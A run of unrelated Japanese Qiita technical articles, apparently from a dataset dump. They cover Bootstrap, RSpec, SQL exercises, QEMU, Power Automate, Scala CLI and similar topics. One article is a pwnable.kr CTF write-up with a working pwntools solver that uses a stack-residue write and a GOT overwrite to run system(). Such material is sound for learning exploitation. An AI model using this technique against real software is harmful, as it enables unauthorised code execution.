OmniAICreator/Qiita-1.07M huggingface dataset:
[Bootstrap] 他のところをクリックしたらtoastを閉じる

Bootstrap5での話

qiitaやgoogleの、よくある感じのアカウントメニューを楽して作りたい。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/488658/03039a39-7170-76d3-617c-fa5018be72cd.png)

とりあえずtoastで作っても、「外側をクリックしたら閉じる」という実装は自分でやらなきゃならなかった。
よくやりそうなことなので共有:ghost:


## 実際の動き Fiddle

![2024-06-12_00h07_53.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/488658/a2166af4-613d-31fd-25d9-897acb575244.gif)

https://jsfiddle.net/koyayashi/9yqLbzwe/49/

## コード

* bodyでのクリックハンドラで乱暴にhideすると、開いた瞬間に閉じられる
* showしたとき`once`なハンドラでhideを設定すると、showボタンでのクリックで閉じることができない

従って次のように実装した

```javascript
const toastElList = document.querySelectorAll('.toast')
const toastList = [...toastElList].map(toastEl => new bootstrap.Toast(toastEl))

// bodyにclickが来たらhide
document.body.addEventListener('click', function (event) {
    toastList.forEach(function (toast) {
      if (toast.isShown()) {
        toast.hide();
      }
    });
});

// toast上のクリックがbodyに行かないようにする
toastElList.forEach(function (toastEl) {
    toastEl.addEventListener("click", function (event) {
      event.stopPropagation();
    });
});


// onClickに設定するtoast表示関数
function show_toast(event, selector) {
    const el = document.querySelector(selector);
    const toast = new bootstrap.Toast(el);
    if (toast.isShown()) {
      // すでに見えてたら何もしない
      // 結果的にbodyへのclickとなりtoastがhideされる
    }
    else {
      toast.show();
      // このクリック自身でhideしないようにする
      event.stopPropagation();
    }
}
```

`show_toast(event, selector)`を表示用ボタンのクリックハンドラに設定する。
```html
<button class="btn btn-primary" onclick="show_toast(event, '#my_toast')">ボタン</button>

<div id="my_toast" class="toast">
  <!-- toastの内容 -->
</div>
```

## 他にいい方法があるのでは？

こんなことをわざわざ実装しなきゃいけないのは変な気もする。
いい方法を知ってる人がいたら教えてください。
スタブとモックの違い ~ rspecで解説 ~

# はじめに
Rspecでテストを実装する際に、`モック`や`スタブ`の言葉を何回も聞いたことがあるかなと思います。
（無かったらすいません...🙇）

自分の中で明確に言語化できているわけでは無かったので、これを機に整理して、言語化できるよう、アウトプットいたします。

# スタブとは
**オブジェクトのメソッドが特定の値を返すように設定する、いわゆるダミー部品です。**

よく使用されるのが、外部APIを使用している実装をテストするときです。
外部APIを本当に走らせてしまうのはまずいので、スタブを実装します。

## 例
rspecで実装すると、以下になります。

```rb
allow(hoge).to receive(:fuga).with('foo').and_return(75)
```

`.and_return()`で、値を設定しているのを、みたことはある方も多いと思います。
このように、他の部分の動作に影響を与えることなく、特定のメソッドが返す値を指定したい場合に便利です。

# モックとは
**オブジェクトのメソッドが呼び出されたかどうか、および呼び出された際の引数を検証するために使用します。**

モックオブジェクトを作成して、そのオブジェクトに対して呼び出しがあるかを検証します。

## 例
rspecで実装すると、以下になります。

```rb
hoge_mock = instance_double("Hoge")
expect(hoge_mock).to receive(:fuga).with("hogehoge")
```

rspecでは、`instance_double`メソッドが存在します。
これで、`Hoge`オブジェクトに対するモックを作成することができます。

あとは、そのモックに対して、該当メソッドが呼び出されているかを検証します。


# まとめ
もう一度整理です。

- スタブ：メソッドが特定の値を返すように設定するもの
- モック：メソッドが呼び出されたかどうか、検証するために使用

調べてみると、スタブやモックはテストダブルの種類に含まれるそうです。

https://qiita.com/kaleidot725/items/075934e8e6be902a7fe1

言葉の意味を理解した上で、テストを見てみると、より理解が深まるかなと思います。
自分も実装する際には、言語化しつつ、テストを実装するよう心がけます。

最後までご覧いただき、ありがとうございました。
SQLServerの勉強用問題（11~20）

新入社員の練習課題にSQL問題集を探していたところ、英語ですが100問を公開しているサイトがありましたのでご紹介。
  
AdventureWorks: SQL Exercises, Practice, Solution
https://www.w3resource.com/sql-exercises/adventureworks/adventureworks-exercises.php
  
前提としてSQLServerとサンプルデータAdverntureWorksが必要です。
  
AdventureWorks サンプル データベース
https://learn.microsoft.com/ja-jp/sql/samples/adventureworks-install-configure?view=sql-server-ver16&tabs=ssms
<br>
### ぎりぎり理解できそうな和訳（11~20）：
  
11\. 次のテーブルから、姓が文字 'L' で始まる人物を検索する SQL クエリを作成しなさい。
BusinessEntityID、FirstName、LastName、および PhoneNumber を返します。結果を lastname と firstname でソートします。
テーブル：Person.Person
テーブル：Person.PersonPhone
  
12\. 次のテーブルから、小計の合計を求める SQL クエリを作成しなさい。
salespersonidとcustomeridでグルーピングします。
salespersonid、customerid、sum_subtotal（小計の合計）を返します。
テーブル：sales.salesorderheader

13\. 次のテーブルから、locationid と self の組み合わせごとの quantity の合計と、全体の quantity の合計を求めるSQLクエリを作成しなさい。
locationid、shelf、TotalQuantity（数量の合計） を返します。
テーブル：production.productinventory

補足：
locationidとselfのすべての組み合わせでの小計と総計（cube）
を出せとのことです。

14\. 次のテーブルから、locationid と self の組み合わせとグループごとの quantity の合計と、全体の quantity の合計を求めるSQLクエリを作成しなさい。
locationid、shelf、TotalQuantity（数量の合計） を返します。
テーブル：production.productinventory

補足：
locationidとselfのグループごとの小計と総計（rollup）、
locationidとselfのすべての組み合わせでの小計と総計（cube）
を出せとのことです。

15\. 次のテーブルから、locationid ごとの　quantity の合計と、全体の quantity の合計を求めるSQLクエリを作成しなさい。
locationid、TotalQuantity（数量の合計） を返します。
テーブル：production.productinventory

補足：
GROUPING SETS を使えとのことです。

16\. 次のテーブルから、各都市に住んでいる従業員数を取得する SQL クエリを作成しなさい。
都市と従業員数を返します。結果を city の昇順でソートします。
テーブル：Person.BusinessEntityAddress

17\. 次のテーブルから、各年の売上合計を取得する SQL クエリを作成しなさい。
注文日の年と支払金額の合計を返しなさい。結果を注文日の日付の昇順に並べ替えなさい。
テーブル：Sales.SalesOrderHeader

18\. 次のテーブルから、各年の売上合計を取得する SQL クエリを作成します。
注文年が 2016 年以前の注文についてのみ出力してください。
注文日の年と合計金額を返します。注文日の年の昇順でソートします。
テーブル：Sales.SalesOrderHeader

19\. 次のテーブルから、部署のマネージャーの連絡先を検索する SQL クエリを作成しなさい。
ContactTypeID, name を返します。結果をNameの降順にソートしてください。
テーブル Person.ContactType

20\. 次のテーブルから、'Purchasing Manager' の連絡先を検索する SQL クエリを作成しなさい。
BusinessEntityID、LastName、および FirstName を返します。結果を LastName および FirstName の昇順に並べ替えます。
テーブル：Person.BusinessEntityContact


参考：
ROLLUP、CUBE、GROUPING SETS などの新しい SQL 構文を使用して Amazon Redshift のオンライン分析処理 (OLAP) クエリを簡略化
https://aws.amazon.com/jp/blogs/news/simplify-online-analytical-processing-olap-queries-in-amazon-redshift-using-new-sql-constructs-such-as-rollup-cube-and-grouping-sets/
【JavaScript】不特定多数の引数を受け取る関数を定義する

今回は、JavaScript で不特定多数の引数を受け取る関数を定義してみます。
受け取る引数の数が事前に決まっていない場合に便利です。

```javascript:script.js
let attendMembers = [];

/**
 * 引数の値を追加したリストを返す関数
 * @param members
 * @returns [attendMembers]
 */

function addMembers(...members) {
    for (const added of members) {
        attendMembers.push(added);
    }
    return attendMembers;
}
```
上記の addMembers() 関数では「...引数」という形で記述することで、引数で指定された不特定多数の値（参加するメンバー）を受け取ります。

関数の外で attendMembers という参加メンバーのリストを定義しておくことで、関数を実行するたびにリストが初期化されず、値を保持し続けます。

```javascript:script.js
let attendList = addMembers("Flare", "Polka", "Miko", "Suisei", "Noel");
console.log(attendList);//['Flare', 'Polka', 'Miko', 'Suisei', 'Noel']

attendList = addMembers("Kanata", "Chloe", "AZKi");
console.log(attendList);//['Flare', 'Polka', 'Miko', 'Suisei', 'Noel', 'Kanata', 'Chloe', 'AZKi']
```

実際に addMembers() へ複数の引数を入れて実行してみると、参加者メンバーに引数の値が追加されます。

さらに3人分（不特定多数）のメンバーを追加してみると、元の値を保持したまま参加者リストに値が追加されます。

■参照
・JavaScript コードレシピ集 (2019)
　→ 014 関数に任意の数の引数を渡したい

---
参加者リストのメンバーが気になりますか！？

VTuber 事務所である hololive の「不知火建設」と「かな建」のメンバーでした！
以下の動画も面白いのでぜひご覧ください！

<iframe width="560" height="315" src="https://www.youtube.com/embed/MnGLJV5XUYQ?si=oTY6JK-Hp2bs7-Ae" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

<iframe width="560" height="315" src="https://www.youtube.com/embed/zmYmJ9hSaHw?si=T6ZxRgRWtdhvVmyA" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
markdown AI を使ってみる

## markdown AIとは

Markdownを使用して簡単にウェブサイトを作成できるツールで、作成から公開までのすべてを1つの画面で完結し、公開前にプレビューを表示することができる。
このコンセプトは、エンジニアだけでなく子供たちも簡単にウェブサイトを作成し、世界中の人々と交流できるようにすることを目指している。
とのことです。
以下より引用

https://mdown.ai/content?id=335b81b2-bcb0-4dbb-83d0-531aa132181f

上記の説明ページ含めUIが英語なので、子どもたちにもというのであれば英語ではなく多言語対応したほうがいいかな・・・と思いました

以下から使えます

https://mdown.ai/

## 良いところ

- Markdown を少しかけるようになれば手軽にページを作れる
- 無料
- Google アカウントがあれば使える

## β版ではAI機能が無い
AIという名前がついていたので期待していたが、現状はAI周りの機能が無い

## 改善すると良さげなところ

- インターフェースが英語
  子供にも使わせることを想定しているのであれば多言語対応した方が良い
- 導線がわかりにくい
  ページを公開する場合、`View`というボタンをクリック->`URL`というボタンをクリック->`Publish`というボタンをクリックというステップなのだが、これがわかりにくかった
- ボタンのラベルと、動作がわかりにくい
  上とも被るが、公開後`Private`というボタンが表示されるのだが、GitHubのprivateみたいな感じで自分にしか見えないページにできるのかと思ったら、公開から未公開の状態にするという動きだった  
  ラベルを英語にすることでわかりにくくなっている気がする
  また、ボタンにも直感的なアイコンがほしい

## 仕様か不具合か判断がつかない部分
- scriptタグを書くと動いてしまった
  使い方によってはXSSのような攻撃が可能になるため、危険だと感じます。
  ![スクリーンショット 2024-06-11 23.48.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3741957/8cd2e3b0-7491-4b30-a3eb-7b69feb48b3e.png)

## 活用アイデア
ChatGPTのMyGPTｓのようなものが作れる機能が将来的に付くようなので、それが実装された場合の活用方法を考えてみた
また、子供が真似をしたくなるような内容をテーマにということなので、それを踏まえて

* **GPTsでゲーム**
  GPTs相当のものであれば、プロンプトを工夫することでゲームがつくれます
  算数の問題や実際の歴史の情報や地理の情報を入れたりして、ゲームをしながら勉強ということも可能になるかもしれません
  参考
  https://automaton-media.com/articles/newsjp/20230316-240945/
* **偏愛マップ**
  GPTsのナレッジに生徒のプロフィールを入れて、趣味が合う人を見つけたりできそう
  普段話さない人の趣味がわかって、意外な広がりができるかもしれませんね。

## まとめ

まだAIに関する機能が無くて残念ですが、実装されてGPTsが無料で使えるとなったら、色々な活用方法が期待できます。
QEMUによるAArch64エミュレート #2

AArch64のエミュレート環境を作成したので、SVE命令を含むプログラムを実行してみる。
前記事の方法で、エミュレート環境を作成した。

https://qiita.com/joule/items/9b6cec9598666313ba97

コンパイラ(GCC)は以下をインストールした。

```bash
$ sudo apt install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
```

### SVE命令の実行

SVE(Scalable Vector Extension)は可変長SIMDのための拡張命令である。
以下の論文が詳しいが、ベクトルのためのレジスタ長（ベクトル長）を128bit~2048bitの可変値で対応できる命令である。ベクトル長が異なるCPUでも同じ命令が利用できるという利点がある。

https://arxiv.org/abs/1803.06185 

例として挙げられている関数をコンパイルする。

```c++
#include <iostream>
#include <arm_sve.h>

void daxpy(double *x, double *y, double a, int n)
{
  for(int i = 0; i < n; i++) {
    y[i] = a*x[i] + y[i];
  }
}
```

```bash
$ aarch64-linux-gnu-g++ -static -march=armv8.3-a+sve -O3 test.cpp
```

```-S```オプションでアセンブリを確認するとSVE拡張命令が使われていることがわかる。

```txt
.L4:
        ld1d    z1.d, p0/z, [x0, x3, lsl 3]
        ld1d    z2.d, p0/z, [x1, x3, lsl 3]
        fmad    z1.d, p1/m, z0.d, z2.d
        st1d    z1.d, p0, [x1, x3, lsl 3]
        add     x3, x3, x4
        whilelo p0.d, w3, w2
        b.any   .L4
```

エミュレート環境ではこのコードを動作することもできた。（このエミュレート環境では```256bit```のベクトル長となっている）

```bash
// x = 3.0, y = 2.0, a = 3.0, n = 10000に設定
// yの要素の値を出力
$ ./a.out
11
```
pwnable.kr passcode writeup

# passcode 
以下のコードと実行ファイルが渡される
```c
#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}
```

## checksec
`checksec`で実行ファイルのセキュリティを調べる
```
Canary                        : ✓
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial
```
canaryがあるのでBoFはできなそう
NXが立っているのでshellcodeもなさそう

## login
```c
void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);
```
ここの`scanf`でアドレスではなく変数自体を渡しているので実行するとセグフォする。`passcode1`は初期化されていないので中身は多分`0`?

## welcome
```c
void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
```
こっちの`scanf`は正しく使われている。
`name`のバッファは`100`あり、`welcome`が呼ばれた直後に`login`が呼ばれるので、スタックフレームの位置関係的に`passcode1`の初期値をいじれそう

## gdb
`name`のスタック上での位置を確認する
```
   0x0804862f <+38>:    lea    edx,[ebp-0x70]
   0x08048632 <+41>:    mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:    mov    DWORD PTR [esp],eax
   0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>
```
`scanf`を呼ぶ前に`edx`に乗せているので`ebp-0x70`が`name`変数である

`passcode1`のスタック上での位置を確認する
```
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
```
先ほどと同様の理由で`ebp-0x10`が`passcode1`である

## exploit
`passcode1`の値を自由に書き換えることができるということは、自由なアドレスにほぼ自由に値を書き込めるということになる
ここでは素朴にGOT Overwriteでシェルを奪取することにする
`fflush`関数のGOT上のアドレスを`system("/bin/cat flag")`のアドレスに書き換えることにする

以下がソルバーとなる
```python
from pwn import *

host = "pwnable.kr"
user = "passcode"
password = "guest"
port = 2222

shell = ssh(user=user, host=host, password=password, port=port)
elf = ELF("./passcode")
io = shell.process("./passcode")

io.recvuntil(b"enter you name : ")
payload = b"A"*96 + p32(elf.got["fflush"])
print(payload)
io.sendline(payload)

io.recvuntil(b"enter passcode1 : ")
system = str(int(0x80485e3))
print(system)
io.sendline(system)
```

実は`pwntools`は`ssh`にも対応している。とても便利
`elf`は`scp`で手元に落としてきたものを読んでいる
`got["fflush"]`は`int`でアドレスが返ってくるので`p32`でリトルエンディアンに書き換えている

`system`関数のアドレスを指定する際は、`call`命令のアドレスを指定すると引数が乗らないので注意

flag: `Sorry mom.. I got confused about scanf usage :(`

[writeup on github](https://github.com/KikyoNanakusa/pwnable-kr-writeups/tree/main/passcode)
WWDC 2024：個人的に気になった部分抜粋

# Apple Intelligence
なんといってもAI関連の話題が大きかった。
※Appleの世界ではAIは”Apple Intelligence”の略だ！

　リンク：https://www.apple.com/jp/newsroom/2024/06/introducing-apple-intelligence-for-iphone-ipad-and-mac/

 メモアプリ、画像生成、SiriなどAIに明らかに力を入れている。

 ※Apple Inteligenceは2024年夏から、まずはアメリカで試験的に利用できるようになるとのこと。　
 　早く日本でも使えるようになって欲しい！

 # 画像生成機能「Image Playground」
すべてオンデバイスで実行され、説明を入力するだけでImage Playgroundが画像を生成してくれる。
また、サードパーティーアプリImage Playground APIとして登場予定とのこと。

# VisionOS 2
　リンク：https://developer.apple.com/videos/play/wwdc2024/10166/

 　値段は死ぬほど高いけど実際に体験してみたいですね～

# iOS18
　リンク：https://www.apple.com/jp/newsroom/2024/06/ios-18-makes-iphone-more-personal-capable-and-intelligent-than-ever/

"ハイライトと再設計されたリーダーの体験により、ウェブ上で情報をさらに簡単に見つける方法が提供されます。Safariは機械学習を使って、ウェブページの重要な情報を浮かび上がらせることができます。例えば、ユーザーは、記事の要旨を把握するために要約を確認する、レストランやホテル、ランドマークの場所をすばやく確認する、曲やアルバムに関する記事から直接アーティストの曲を聴くといったことができます。"

↑これ上記の言葉通りに出来たら本当にすごいなー
実際に使ってみたいが、、微妙に仕事でも私物携帯を活用する羽目になっているので、下手にBeta版にアップデートできない。。遊べる端末が欲しい

 　※iOS18 Betaは、すでに例年通りDeveloper向けに展開されている。

# Xcode
リンク：https://www.apple.com/jp/newsroom/2024/06/apple-empowers-developers-and-fuels-innovation-with-new-tools-and-resources/

　"Swift Assistはあらゆるプログラミング作業のパートナーとしてデベロッパを支援し、デベロッパはより高度な問題と解決策に集中できます。Swift AssistはXcodeにシームレスに統合されており、最新のソフトウェア開発キット（SDK）とSwift言語の機能を把握しているため、デベロッパはプロジェクトと完全に一体化する最新のコード機能を常に使用できます。Swift Assistを使うと、新しいフレームワークを探求したり、新しいアイデアを試すといったタスクも1つのリクエストで簡単にできます。"

 　Swift Assistは、局単位いえばAIコーディングに近しい機能なのか？？
  　それとも今まで使えていた予測変換の超スゴイ版？
   　これも実際に使ってみないと分からん。。
Panta Rhei におけるインフラ戦略 2024

こんにちは、Panta Rhei でインフラの技術支援をしている [@iganari_](https://x.com/iganari_) です
趣味は献血です (最近行けてないけど)

今日は Panta Rhei のインフラについてのお話しを少ししたいと思います

Panta Rhei はパブリッククラウドの Google Cloud をインフラの主軸とし、サービス展開を絶賛準備しています

## 扱っているサービス

Google Cloud 上で扱っているサービスは Cloud Run, Cloud Functions, Cloud Storage, BigQuiery と PaaS や SaaS を中心に取り扱い、将来的には AlloyDB for PostgreSQL などの利用も視野に入れつつ、まずはしっかりとサービス運用が出来るように設計・構築を進めています

プロジェクトの進め方については [こちら](https://qiita.com/Antonnion/items/8e3c24663d8257995a1f) を参考にして下さい

その他には Cloud Scheduler, Pub/Sub, Application Load Balancer, Cloud Armor, Identity-Aware Proxy (IAP) なども利用しています

アプリケーションの仕様上、 Compute Engine のような IaaS を使わざるを得ないところもありますが、なるべく開発者がインフラを意識せずに開発を進められるようにインフラを抽象化する設計をしています

## インフラ担当として念頭に置いていること

### 開発者の開発体験をなるべく損なわないこと

Google Cloud へのベンダーロックインの危惧は十分に配慮しつつ、今は **敢えて** Google Cloud ならではの強みを設計に入れることで、Google Cloud のインフラのパフォーマンスを十二分に発揮する方向で設計と構築を進めています


インフラのパフォーマンスだけでなく、CI/CD を主軸としたデプロイやテストの自動化、脆弱性の早期発見と対策の自動化などを構築することで、「開発者がより開発に注力できる環境」をインフラ面から支援出来るように心がけています

### 先回りして設計・構築をすること

開発チームは複数に分かれていて、それぞれ週次で定例を行い、各々の進捗や抱えている課題を共有しています
それぞれの定例に参加し、インフラに対する要望のヒアリングや情報共有を行なっています

それぞれの状態を正確にキャッチアップすることで、現在必要なことや将来的な必要になりそうな要件を見つけ出すことが重要です
今はすこし時間をかけて情報収集していますが、チームを横断した会社全体のインフラの最適化を目指して頑張っています

### セキュリティを最優先して設計すること

重要なデータ (個人情報など) やクレデンシャル情報は一度流出してしまうとチームや会社全体の信用の問題に直結してしまいます
Google Cloud にはさまざまなセキュリティのサービスが用意されているので、それを積極的に利用することで全体のセキュリティを高めています

また、定期的なセキュリティチェックを自分たちで出来るような仕組みも準備中です

## まとめ

簡単ですが、Panta Rhei におけるインフラの設計と構築時の考え方を簡単にまとめてみました
もし、興味を持って頂いた方は是非 Join us ! (๑•̀ㅂ•́)و✧
【VSCode】インレイヒントにTypeScriptの型を表示する方法

`settings.json`に以下のように記述するとインレイヒントにTypeScriptの型を表示できます。

```jsonc:settings.json
{

  "typescript.inlayHints.functionLikeReturnTypes.enabled": true,  // 関数シグネチャの暗黙的な戻り値の型について、インレイ ヒントを有効にします
  "typescript.inlayHints.parameterTypes.enabled": true,  // 暗黙的なパラメーター型へのインレイ ヒントを有効にします
  "typescript.inlayHints.propertyDeclarationTypes.enabled": true,  // プロパティ宣言の暗黙的な型へのインレイ ヒントを有効にします
  "typescript.inlayHints.variableTypes.enabled": true,  // 暗黙的な変数型のインレイ ヒントを有効にします

}
```

- `"typescript.inlayHints.functionLikeReturnTypes.enabled": true`
![inlay-return-type.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/2d8e7f0f-ee79-c7bd-f629-42f5bbdb3299.png)

- `"typescript.inlayHints.parameterTypes.enabled": true`
![inlay-parameter-types.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/8e0920d1-6c14-a164-8b2d-96d7b8a4e1fd.png)

- `"typescript.inlayHints.propertyDeclarationTypes.enabled": true`
![inlay-property-types.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/ec8ca92d-7983-508f-2aea-de732f4fc025.png)

- `"typescript.inlayHints.variableTypes.enabled": true`
![inlay-var-types.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/9a601fc4-999f-20df-54e8-068ec9888a3e.png)
Power Automate クラウドフローを OneDrive for Business にファイルが作成されたときに動かしたいときの注意点


# はじめに

Power Automate クラウドフローで、OneDrive for Business の特定のフォルダーにファイルがアップロードされた際にアクションを自動で実行したいというケースがあると思います。

この際、少し注意することがあるので、念のため整理しておこうと思います。

# 注意すること

まず、フローのトリガーとして何を選ぶかですが、こちらを選んじゃいそうになると思っています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3074511/7df20001-b504-e1cb-c1ad-2c7d4bc894fb.png)

ただし、こちらを選択すると、以下のように、ファイル名が、Power Automate を触り始めた方からすると、意味の分からない文字列になっていると思います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3074511/6ce65cdf-0384-4cd8-6663-6bc8abef9a06.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3074511/e1f6be29-3523-35d0-abe1-cc7a30b9c9f1.png)

こちらは、Base64 という、コンピュータ間でデータをやり取りする際に便利な形式のままとなっています。

そのため、ファイル名を基に条件分岐をしたい際など、作成されたファイル名をその後の処理で利用したい場合、困ってしまうと思います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3074511/871c4882-4c34-8561-5681-d0c9c07dc261.png)

一応、以下のように、base64ToString 関数を使うことで、ファイル名を取得できるのですが、正直、初学者にとって優しくないと思います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3074511/164f9c1d-af2c-9b5b-8c51-d9b4772b9e20.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3074511/842b6de6-d29a-c71f-5a9d-3857cc6a3de0.png)

# 対処策

対処策は簡単で、こちらのトリガーを利用することです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3074511/3bda44cb-defc-d0d0-5386-ad6377d6e095.png)

この場合、作成されたファイルの名前をわざわざ変換しなくてもファイル名を取得できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3074511/f6beb6dc-936c-6602-6764-4d17437c968e.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3074511/ea223fe1-6e3e-dddf-be18-0100db961945.png)

なお、こちらのトリガーは、作成されたファイルのプロパティ、つまり、付属情報のみ取得しているため、ファイルのコンテンツ自体を取得して何かをしたい場合は、以下のように追加のアクションを用意して取得します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3074511/8255ea7b-b646-1ded-b2f4-3e44e96570ab.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3074511/8d0c260d-5e11-0649-b222-7ccb43cd63b9.png)

# まとめ

Power Automate クラウドフローを OneDrive for Business にファイルが作成されたときに動かしたいときの注意点について整理しました。

恐らく、初学者の方からすると、単にファイル名を取得したいだけなのに、意味の分からない文字列が出ると混乱してしまい、場合によってはちょっと心が折れてしまうかもしれないので、対処策に記載した方のトリガーを選ぶ方が良いと思い記事を書きました。少しでも参考になれば幸いです。
【新入社員必見】「ファイル名を指定して実行」からアプリを立ち上げて、作業効率アップ！

# 概要
皆さんは『ファイル名を指定して実行』という機能を御存知ですか？
最近のWindowsOSはタスクバーに検索ボックスが付いているので、あまり使う機会がないかもしれないですし、新入社員の方にはそもそもそんな機能知らないという方もいるかもしれません。
という事で、『ファイル名を指定して実行』を端的に言うと、メニューなどから手順を踏んで呼び出さないといけないアプリや画面を、コマンド入力して呼び出すことが出来る機能です。

例えば、『メモ帳』を例にとってみましょう。

# As Is（現状・・・）
『ファイル名を指定して実行』を使わない場合、、、
＜Windows11の場合＞
➀、Winキーを押下
➁、『すべてのアプリ』を押下
➂、名前の順に整列されたアプリの一覧をひたすらドラッグし、「マ行」の中から、『メモ帳』を選択します。
その間、およそ１０秒・・・。


# To Be（これから・・・）
では、『ファイル名を指定して実行』を使用した場合はどうでしょうか。
➀、「Win + R」キーを押して、『ファイル名を指定して実行』を開きます。
➁、開いた以下の『ファイル名を指定して実行』ダイアログに『notepad』と入力。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3618971/677f05ed-cd4f-813c-bfcf-f14cd124a19c.png)
➂、「OK」ボタンを押下します。

はい、これだけで『As Is』で記載したのと同じ『メモ帳』を開くことが出来ました。
私の場合だと、大体３秒くらいで開くことが出来ますので、約３倍の作業効率になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3618971/c4fa951a-cf20-7b61-ac52-354f71ed8786.png)


# 覚えておきたい『ファイル名を指定して実行』のコマンド一覧
<table>
<tr><th>コマンド</th><th>開くアプリ</th></tr>
<tr><td>notepad</td><td>メモ帳</td></tr>
<tr><td>powershell</td><td>パワーシェル</td></tr>
<tr><td>cmd</td><td>コマンドプロンプト</td></tr>
<tr><td>calc</td><td>電卓</td></tr>
<tr><td>mstsc</td><td>リモートデスクトップ</td></tr>
<tr><td>excel</td><td>エクセル</td></tr>
<tr><td>winword</td><td>ワード</td></tr>
<tr><td>powerPoint</td><td>パワーポイント</td></tr>
<tr><td>mspaint</td><td>ペイント</td></tr>
<tr><td>control</td><td>コントロールパネル</td></tr>
<tr><td>iexplore</td><td>IE、Edge</td></tr>
<tr><td>regedit</td><td>レジストリエディタ</td></tr>
</table>

上の行ほど私はよく使いますので、是非上の方から順々に覚えてみてくださいな！

# 最後に
最後になりますが、この記事が皆さんの成長の少しでも手助けになることを祈って、この記事を閉めたいと思います。
最後までお読みいただきありがとうございました。
Scala CLIでミニマムにスクリプトを動かしてみる

# ミニマムな例

以下はHello World的なプログラムとその実行の様子です。
1行のスクリプトですが、sbtで普通に実行するのと比べて、コンパイルが体感かなり早いです。

```scala
// main.scala
@main def program = println("hello, Scala CLI!")
```

初回実行:
![h.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/422592/4cb7da9f-9b9b-3204-ebea-9dbe67939a88.gif)

標準出力内容を少し変えて再実行:
![k.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/422592/1d830643-3a8b-bae4-4ccf-ce1066de71e6.gif)

# コマンドライン引数のjsonをフォーマットする

circeなどの外部ライブラリを使用することも可能みたいです。

```scala:jsonfmt.scala
//> using scala "3.4.0"
//> using dep "io.circe::circe-core::0.14.7"
//> using dep "io.circe::circe-parser::0.14.7"

import io.circe.*, io.circe.parser.*

@main def program(json: String) =
  parse(json) match
    case Right(j) =>
      println(j)
    case error =>
      println(error)
```

実行結果:

```
$ scala-cli jsonfmt.scala -- '{"foo": "bar"}'
{
  "foo" : "bar"
}
```
新卒エンジニア　研修資料　まとめ

https://engineering.mercari.com/blog/entry/20230526-3e7a277e37/


https://blog.cybozu.io/entry/2023/07/14/170000



https://techblog.recruit.co.jp/article-256/




https://mixi-developers.mixi.co.jp/23-technical-training-20a6f610140c
OptionParser のオプショナルで non-space な指定の可否

<!-- # OptionParser のオプショナルで non-space な指定の可否 -->
Ruby の OptionParser の挙動の考察を書き残します。

OptionParser のあまり知られていなさそうなこととして、オプショナルなパラメーターをとるスイッチの定義の仕方が 2種類あり、指定時（パース時）の挙動が違うということです。

<!-- わたしの勝手な解釈をここに書き残させてください。 -->
まず、ショートオプション、ロングオプションなどと呼ばれているものは、本来は「スイッチ」と呼ぶべきだと思います。
OptionParser::Switch クラスですから。

そして、ハイフン1つから始まるものはショートスイッチ、ハイフン2つから始まるものはロングスイッチです。また、スイッチには、▷パラメーター（argument）をとらないスイッチ、▷必須の（mandatory な / required な）パラメーターをとるスイッチ、▷任意の（optional な）パラメーターをとるスイッチ――の3つがあります。

パラメーターをとらないスイッチは、

* `opt.on("-f") {...}`
* `opt.on("--foo") {...}`

のように定義します。

